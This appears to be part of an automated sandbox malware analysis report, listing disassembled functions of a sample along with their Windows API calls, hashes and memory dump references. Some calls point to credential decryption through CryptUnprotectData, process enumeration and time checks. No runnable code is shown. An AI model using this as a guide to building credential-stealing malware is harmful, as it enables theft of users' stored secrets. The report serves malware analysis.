Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: c4d8f6ab26dca4f3dcbc2de99147601995f923ef8d570e5a90f73d3dfc819762
Instruction ID: d9ce0c1a490cfca6fa8136f4a9886b61ee0bae075f5dae06af69d37b6c3db5e1
Opcode Fuzzy Hash: c4d8f6ab26dca4f3dcbc2de99147601995f923ef8d570e5a90f73d3dfc819762
Instruction Fuzzy Hash: 8A416D75E1421EDBDB10DFA0CD89BFEB7B9BB48304F1081A8E509A6280D7745A85DF91

Function 006E6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 006E696C
sscanf.NTDLL ref: 006E6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006E69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006E69C0
ExitProcess.KERNEL32 ref: 006E69DA

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d6fa9d02a6147282cd1d2cde891ce7c1ad5ce408777090e5c3337ab602e4589d
Instruction ID: 645bc2b7067ece9187769d7595f13df3967849d84d1674696d19045919b9a266
Opcode Fuzzy Hash: d6fa9d02a6147282cd1d2cde891ce7c1ad5ce408777090e5c3337ab602e4589d
Instruction Fuzzy Hash: 3F21EB75D15209ABCF04EFE4D9459EEB7B6BF48300F04856EE406E3250EB345605CB69

Function 006D7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 006D724D
RtlAllocateHeap.NTDLL(00000000), ref: 006D7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 006D7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006D72A4
LocalFree.KERNEL32(?), ref: 006D72AE

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 8bc735220a54d70b7b559c61cb1c4b1a47dfeef873f57ce14c96c07760a5b7c3
Instruction ID: 6b381b59dc27a698d45430495ad75ed8dc448f52725486c11c8987465875de8c
Opcode Fuzzy Hash: 8bc735220a54d70b7b559c61cb1c4b1a47dfeef873f57ce14c96c07760a5b7c3
Instruction Fuzzy Hash: AC014071B45208BBEB10DFD8CD45FEE7778AB44700F108145FB05AA2C0D670AA00DB65

Function 006E9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006E961E
Process32First.KERNEL32(006F0ACA,00000128), ref: 006E9632
Process32Next.KERNEL32(006F0ACA,00000128), ref: 006E9647
StrCmpCA.SHLWAPI(?,00000000), ref: 006E965C
CloseHandle.KERNEL32(006F0ACA), ref: 006E967A

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 84eaf045f562fdb9b8af7a74fb2453188643ae33f12561a0c6d24d3ba930e4ae
Instruction ID: 9a82e4b4a8efabe2db0dada6cf18e1434d98fc1ae9faf1896a9da8b09770c54e
Opcode Fuzzy Hash: 84eaf045f562fdb9b8af7a74fb2453188643ae33f12561a0c6d24d3ba930e4ae
Instruction Fuzzy Hash: 33010C75A15308ABDB15DFA5CD48BEDB7F9EF48300F108199A90596290D7349F40DF61

Function 0097D447 Relevance: 6.5, Strings: 5, Instructions: 210COMMON

Download Yara Rule

Strings

iF7, xrefs: 0097D6DE
<}}, xrefs: 0097D58A
#;, xrefs: 0097D5FA
Uz{, xrefs: 0097D679
<}}, xrefs: 0097D528

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Uz{$iF7$#;$<}}$<}}
API String ID: 0-2722849775
Opcode ID: ce04776913d1428fb92eb16519f04b4a365c25aa5a4a49e99cdd7b3740ed0f5d
Instruction ID: d3f84ab312a017f9e7264c902ed2649e1dff498843169dc3d356623c728ea6e5
Opcode Fuzzy Hash: ce04776913d1428fb92eb16519f04b4a365c25aa5a4a49e99cdd7b3740ed0f5d
Instruction Fuzzy Hash: 2861D3B39083109BE3146A38EC8577ABBE4EF54320F1B4A3DEAD997780E9755D408787

Function 006E8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,006D5184,40000001,00000000,00000000,?,006D5184), ref: 006E8EC0

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 9808c17d4ac281a4591a594ee132a1f010f317bb9660b8a0d003c315a889c406
Instruction ID: f1b742474e632744b554cde17b898c182e66656d56f3f943982f7727eafc2026
Opcode Fuzzy Hash: 9808c17d4ac281a4591a594ee132a1f010f317bb9660b8a0d003c315a889c406
Instruction Fuzzy Hash: AD111870205388BFDB00CF65E884FAB37AAAF89340F109548F9198B251DB35EC41EB60

Function 006E7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E4E608,00000000,?,006F0E10,00000000,?,00000000,00000000), ref: 006E7A63
RtlAllocateHeap.NTDLL(00000000), ref: 006E7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E4E608,00000000,?,006F0E10,00000000,?,00000000,00000000,?), ref: 006E7A7D
wsprintfA.USER32 ref: 006E7AB7

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: a3de4fc330f58dc78dbc7d9896fdc4673bdcc9876c1de102783956a9f447395e
Instruction ID: cd89a6e73440a559e75105ed1f82e064792874447a859c0e247c933fb7f0c8e6
Opcode Fuzzy Hash: a3de4fc330f58dc78dbc7d9896fdc4673bdcc9876c1de102783956a9f447395e
Instruction Fuzzy Hash: 2C117CB1A4A218EBEB208B59DC49FA9B778FB04721F1043EAE91A93280D7741E40CB51

Function 00A98804 Relevance: 5.4, Strings: 3, Instructions: 1652COMMON

Download Yara Rule

Strings

_?, xrefs: 00A98896
hos, xrefs: 00A98A8F
CIm7, xrefs: 00A9882B

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: CIm7$_?$hos
API String ID: 0-3641775013
Opcode ID: 680050c52c734e626fd7da9ef63ef5540fc519e3e5b154bb6e99f9a31fddbe81
Instruction ID: e8007252c7a745873017824298094f9b09b15b42e1643b432962aa774a73abae
Opcode Fuzzy Hash: 680050c52c734e626fd7da9ef63ef5540fc519e3e5b154bb6e99f9a31fddbe81
Instruction Fuzzy Hash: E8B208F360C2009FE704AE2DEC8567ABBE6EF94320F16453DEAC5C7744EA3598058697

Function 006E3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(006EE118,00000000,00000001,006EE108,00000000), ref: 006E3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006E37B0

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 105f133939a7fa42a7f64b21428b9ece6ca8c30d70bc0e59de3d6ec15c91495c
Instruction ID: bbfd77ac55f56e8161cdfe0eaa1c8ef514fc375e7a0a7df0213ca624f1196172
Opcode Fuzzy Hash: 105f133939a7fa42a7f64b21428b9ece6ca8c30d70bc0e59de3d6ec15c91495c
Instruction Fuzzy Hash: F141C670A40A289FDB24DB58CC99B9BB7B5BB48702F4091D8A609A72D0E7716E85CF50

Function 006D9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006D9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 006D9BA3
LocalFree.KERNEL32(?), ref: 006D9BD3

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a660a18fd9535349d85081eb2df43e6a49f49432c7ff5878fe31a870d5331c4f
Instruction ID: fdd9c573da48655c46efea5400f7e6034f2fcfd2d312d2c351f9af63e7973dea
Opcode Fuzzy Hash: a660a18fd9535349d85081eb2df43e6a49f49432c7ff5878fe31a870d5331c4f
Instruction Fuzzy Hash: 4911CCB4A01209DFDB04DFA8D985AEE77B5FF88300F108599E91597390D774AE50CF61

Function 00AAAF02 Relevance: 4.2, Strings: 2, Instructions: 1686COMMON

Download Yara Rule

Strings

|z, xrefs: 00AAB632
1Zw, xrefs: 00AABC23

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1Zw$|z
API String ID: 0-2028459316
Opcode ID: 49e53d3f84d7055c151b1cf03af6ef02a48cc0f9bd09b17325e5e847f0c49eb5
Instruction ID: bee9e9b0cf2524be0040d3c8ab49cb073947f796a5bc45630f0d6d5f70d657ad
Opcode Fuzzy Hash: 49e53d3f84d7055c151b1cf03af6ef02a48cc0f9bd09b17325e5e847f0c49eb5
Instruction Fuzzy Hash: 45B206F360C214AFE3046E2DEC4567AFBE9EF94720F1A892DE6C4C7744E63598018697

Function 00A9ADDD Relevance: 3.2, Strings: 2, Instructions: 731COMMON

Download Yara Rule

Strings

UO, xrefs: 00A9B5B6
x{7, xrefs: 00A9B2EA

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UO$x{7
API String ID: 0-2793752487
Opcode ID: 4e15a45ef3065c64df6613f475f33d72dcb7e6c1a7fa40d651635702e775b8e8
Instruction ID: d5cd7dc131138cd01a67ef54d9136c23534fa0b3ab2f33557ccc9a47f5c84e90
Opcode Fuzzy Hash: 4e15a45ef3065c64df6613f475f33d72dcb7e6c1a7fa40d651635702e775b8e8
Instruction Fuzzy Hash: BB222BF3A082046FE3006E2DDC4566BBBDAEFD4320F1A8A3DE6C4D7744E53598058693

Function 00A5C12D Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

XP~, xrefs: 00A5C21B

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
